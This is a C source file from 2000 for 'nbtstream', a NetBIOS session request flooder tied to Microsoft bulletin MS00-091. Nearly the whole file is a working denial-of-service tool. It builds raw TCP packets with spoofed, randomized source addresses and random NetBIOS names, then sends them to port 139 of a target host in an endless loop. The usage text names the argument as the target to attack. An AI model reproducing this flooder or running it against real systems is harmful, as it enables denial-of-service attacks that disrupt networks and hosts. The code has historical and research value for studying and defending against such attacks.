/* nbtstream.c - NetBIOS session request flooder Tested to compile and work under FreeBSD (c) by 3APA3A @ SECURITY.NNOV, 2000 3APA3A@security.nnov.ru http://www.security.nnov.ru See MS00-091 for details and patch http://www.microsoft.com/technet/security/bulletin/ms00-091.asp Thanx to DarkZorro & Error for discovering this problem independently from Razor.Bindview */ #include #include #include #include #include #include #include /* #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif */ #include #include #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long ip_src, ip_dst; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; char data[] = "\x81\x00\x00\x44\x20\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41" "\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43" "\x41\x43\x41\x43\x41\x43\x41\x00\x20\x43\x41\x43\x41\x43\x41" "\x43\x51\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43\x41\x43" "\x41\x43\x41\x43\x41\x43\x41\x43\x41\x41\x41"; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip_hdr ip; struct tcp_hdr tcp; char data[72]; }; struct cksum { struct pseudo_hdr pseudo; struct tcp_hdr tcp; char data[72]; }; char biglet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-"; u_short dstport; u_long dstaddr, srcaddr=0; int sock; char * nbdst = 0; char * nbsrc = 0; void usage(char *progname) { fprintf(stderr, "Usage: %s \n" " dstaddr - the target we are trying to attack.\n" " dstnetbios - destination NetBIOS name (random if not specifyed)\n" " srcnetbios - source NetBIOS name (random if not specifyed)\n", progname); exit(1); } void printnbname (int pos, char *name){ int i; for (i=0; name[i]&& i<15; i++) { data [pos + 2*i] = (toupper(name[i])>>4 & 0x0F) + 'A'; data [pos + 1 + 2*i] = (toupper(name[i]) & 0x0F) + 'A'; } } void printnbrnd (int pos){ int i, c; for (i=0; i<15; i++) { c = biglet[random()%37]; data [pos + 2*i] = (c>>4 & 0x0F) + 'A'; data [pos + 1 + 2*i] = (c & 0x0F) + 'A'; } } /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(-3); } return *(u_long *)hp->h_addr; } void flooder(void) { int i; struct packet packet; struct cksum * cksum = (struct cksum *)((char *)&packet + sizeof(struct ip_hdr) - sizeof(struct pseudo_hdr)) ; struct sockaddr_in s_in; if(nbsrc) printnbname (39, nbsrc); else printnbrnd (39); if(nbdst) printnbname (5, nbdst); else printnbrnd (5); memset(&packet, 0, sizeof(packet)); memcpy(packet.data, data, 72); if(!srcaddr)srcaddr = random(); packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_ack = rand(); packet.tcp.th_flags = TH_ACK; packet.tcp.th_sport = rand(); packet.tcp.th_dport = htons(139); cksum->pseudo.daddr = dstaddr; cksum->pseudo.saddr = srcaddr; cksum->pseudo.mbz = 0; cksum->pseudo.ptcl = IPPROTO_TCP; cksum->pseudo.tcpl = htons(sizeof(struct tcp_hdr) + 72); packet.tcp.th_sum = in_cksum((void *)cksum, sizeof(struct cksum)); packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof(packet)); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; packet.ip.ip_dst = dstaddr; packet.ip.ip_src = srcaddr; packet.ip.ip_sum = 0; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); s_in.sin_family = AF_INET; s_in.sin_port = htons(139); s_in.sin_addr.s_addr = dstaddr; for(i=0;;++i) { if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("sendto()"); } } int main(int argc, char *argv[]) { int on = 1; printf("nbtstream.c v0.1 - NBT Session Packet Storm\n 3APA3A@security.nnov.ru\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket()"); exit(-1); } if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt()"); exit(-2); } if (argc < 2 || argc > 4) usage(argv[0]); srand(time(NULL)); dstaddr = lookup(argv[1]); if(argc >=2) nbdst = argv[2]; if(argc >=3) nbsrc = argv[3]; printf("Starting"); fflush(stdout); flooder(); return 0; }